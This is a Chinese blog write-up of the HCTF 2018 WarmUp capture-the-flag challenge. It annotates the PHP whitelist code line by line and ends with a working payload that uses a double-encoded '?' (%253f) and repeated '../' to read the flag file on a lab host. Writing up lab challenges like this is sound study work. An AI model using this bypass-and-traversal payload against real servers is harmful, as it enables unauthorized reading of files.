[HCTF 2018]WarmUp

  点击F12查看源码,发现提示source.php,进入后是一个PHP代码审计

  进入页面后还有hint.php,进入后给了flag所在文件名字的提示

    highlight_file(__FILE__); //打印代码
    class emmm  //定义emmm类
    {
        public static function checkFile(&$page)//将传入的参数赋给$page
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];//声明$whitelist(白名单)数组
            if (! isset($page) || !is_string($page)) {//若$page变量不存在或非字符串
                echo "you can't see it";//打印"you can't see it"
                return false;//返回false
            }

            if (in_array($page, $whitelist)) {//若$page变量存在于$whitelist数组中
                return true;//返回true
            }

            $_page = mb_substr(//该代码表示截取$page中'?'前部分,若无则截取整个$page
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);//url解码$page
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

  • 第一个if语句对变量进行检验,要求$page为字符串,否则返回false
  • 第二个if语句判断$page是否存在于$whitelist数组中,存在则返回true
  • 第三个if语句判断截取后的$page是否存在于$whitelist数组中,截取$page中'?'前部分,存在则返回true
  • 第四个if语句判断url解码并截取后的$page是否存在于$whitelist中,存在则返回true
    若以上四个if语句均未返回值,则返回false
         因此我们可以构造语句为?file=hint.php%253f../ffffllllaaaagggg由于我们不知道ffffllllaaaagggg文件的具体位置,只能依次增加  ../
 
      最终的语句为  http://78442820-18e7-4f8e-a040-6429d5f835fd.node4.buuoj.cn:81/?file=hint.php%253f../../../../../ffffllllaaaagggg

posted @ 2022-01-18 14:01  L0VEhzzz  阅读(30)  评论(0编辑  收藏  举报